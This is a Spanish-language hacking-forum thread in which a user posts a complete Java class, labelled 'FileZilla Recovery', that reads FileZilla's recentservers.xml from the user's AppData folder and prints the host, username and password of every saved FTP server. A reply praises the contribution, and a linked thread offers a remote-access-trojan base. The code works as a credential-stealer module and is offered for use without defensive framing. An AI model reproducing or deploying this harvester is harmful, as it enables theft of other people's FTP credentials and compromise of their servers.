Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

FileZilla Recovery [Fakedo0r]

  • 1 Respuestas
  • 1780 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Fakedo0r

  • *
  • Visitante
« en: Abril 19, 2012, 05:15:10 pm »
Permite recuperar las cuentas FTP de Filezilla.

Código: Java
  1. import java.io.File;
  2. import java.io.FileNotFoundException;
  3. import java.io.FileReader;
  4. import java.io.BufferedReader;
  5. import java.io.IOException;
  6.  
  7. public class FileZillaRecovery {
  8.  
  9.     public static String FileZilla() throws IOException
  10.     {
  11.        
  12.         File sFile = null;
  13.         FileReader Fr = null;
  14.         BufferedReader Br = null;
  15.        
  16.         int         i;
  17.         String      sName;
  18.         String      sHost;
  19.         String      sUser;
  20.         String      sPass;
  21.         String      sAccount;
  22.         String      sFileXML;
  23.         String      sF_Account;
  24.         String[]    sArrAccount;
  25.  
  26.         sHost = "";
  27.         sUser = "";
  28.         sPass = "";
  29.         sAccount = "";
  30.         sF_Account = "";
  31.        
  32.         sName = System.getenv("APPDATA") + "\\FileZilla\\recentservers.xml";
  33.  
  34.         sFile = new File(sName);
  35.  
  36.         try
  37.         {
  38.             Fr = new FileReader(sFile);
  39.             Br = new BufferedReader(Fr);
  40.  
  41.             while ((sFileXML = Br.readLine())!=null)
  42.             {
  43.                 sAccount = sAccount + sFileXML + "\n";
  44.             }
  45.         } catch (FileNotFoundException ex)
  46.         {
  47.             System.out.println("No se pudo recuperar!");
  48.            
  49.             return sF_Account;
  50.         }
  51.        
  52.         if (sAccount.indexOf("<RecentServers>")!=-1)
  53.         {
  54.             sAccount = TextCenter(sAccount,"<RecentServers>","</RecentServers>");
  55.  
  56.             sArrAccount = sAccount.split("<Server>");
  57.  
  58.             for (i=1;i<sArrAccount.length;i++)
  59.             {
  60.                 sHost = TextCenter(sArrAccount[i],"<Host>","</Host>");
  61.                 sUser = TextCenter(sArrAccount[i],"<User>","</User>");
  62.                 sPass = TextCenter(sArrAccount[i],"<Pass>","</Pass>");
  63.  
  64.                 sF_Account  = sF_Account +
  65.                              "Host: " + sHost + "\n" +
  66.                              "User: " + sUser + "\n" +
  67.                              "Pass: " + sPass + "\n\n";
  68.             }
  69.             return sF_Account;
  70.         }
  71.         else
  72.         {
  73.             System.out.println("No se pudo recuperar!");
  74.            
  75.             return sF_Account;
  76.         }
  77.     }
  78.  
  79.     private static String TextCenter(String sTexto,String sDel1,String sDel2)
  80.     {
  81.         sTexto = sTexto.substring(sTexto.indexOf(sDel1)+sDel1.length(),sTexto.indexOf(sDel2));
  82.        
  83.         return sTexto;
  84.     }
  85. }
  86.  

Saludo.
« Última modificación: Abril 18, 2013, 12:59:34 pm por Expermicid »

Marcado como mejor respuesta por: en Marzo 04, 2019, 09:39:03 am

Desconectado Cronos

  • *
  • Underc0der
  • Mensajes: 1000
  • Actividad:
    0%
  • Reputación 1
  • Mientras mas se, me doy cuenta de lo poco que se.
    • Ver Perfil
    • Email
  • Skype: cronos.labs
« Respuesta #1 en: Abril 19, 2012, 11:45:54 pm »
Exelente aportes te estas mandando. Como te has extendido en los lenguajes bro, te felicito.
Te comento en este solamente asi no te escribo lo mismo en los demas xD
Saludos,, Cronos.-

 

¿Te gustó el post? COMPARTILO!



Base de RAT [Cliente / Server] [MultiThread] [Fakedo0r]

Iniciado por Expermicid

Respuestas: 5
Vistas: 2587
Último mensaje Julio 01, 2013, 12:04:30 pm
por ANTRAX